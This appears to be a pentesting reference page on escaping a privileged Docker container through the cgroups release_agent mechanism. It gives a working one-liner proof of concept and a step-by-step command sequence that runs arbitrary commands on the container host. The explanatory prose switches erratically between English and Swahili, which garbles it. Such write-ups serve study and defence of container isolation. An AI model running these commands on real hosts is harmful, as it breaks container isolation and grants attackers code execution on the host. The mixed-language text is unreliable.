Docker release_agent cgroups escape

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Original PoC:

d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o

The proof of concept (PoC) demonstrates a method to exploit cgroups by creating a release_agent file and triggering its invocation to execute arbitrary commands on the container host. Here's a breakdown of the steps involved:

1. Tayarisha Mazingira:

• A directory /tmp/cgrp is created to serve as a mount point for the cgroup.

• The RDMA cgroup controller is mounted to this directory. In case of absence of the RDMA controller, it's suggested to use the memory cgroup controller as an alternative.

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

2. Set Up the Child Cgroup:

• Cgroup ya mtoto inayoitwa "x" inaundwa ndani ya saraka ya cgroup iliyowekwa.

• Arifa zinawekwa kuwa active kwa cgroup "x" kwa kuandika 1 kwenye faili yake ya notify_on_release.

echo 1 > /tmp/cgrp/x/notify_on_release

3. Sanidi Wakala wa Kutolewa:

• Njia ya kontena kwenye mwenyeji inapatikana kutoka kwa faili ya /etc/mtab.

• Faili ya release_agent ya cgroup kisha inasanidiwa kutekeleza skripti inayoitwa /cmd iliyoko kwenye njia ya mwenyeji iliyopatikana.

host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

4. Create and Configure the /cmd Script:

• Skripti ya /cmd inaundwa ndani ya kontena na inasanidiwa kutekeleza ps aux, ikielekeza matokeo kwenye faili linaloitwa /output ndani ya kontena. Njia kamili ya /output kwenye mwenyeji imeainishwa.

echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd

5. Trigger the Attack:

• Mchakato unaanzishwa ndani ya cgroup ya mtoto "x" na mara moja unakatishwa.

• Hii inasababisha release_agent (script ya /cmd), ambayo inatekeleza ps aux kwenye mwenyeji na kuandika matokeo kwenye /output ndani ya kontena.

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

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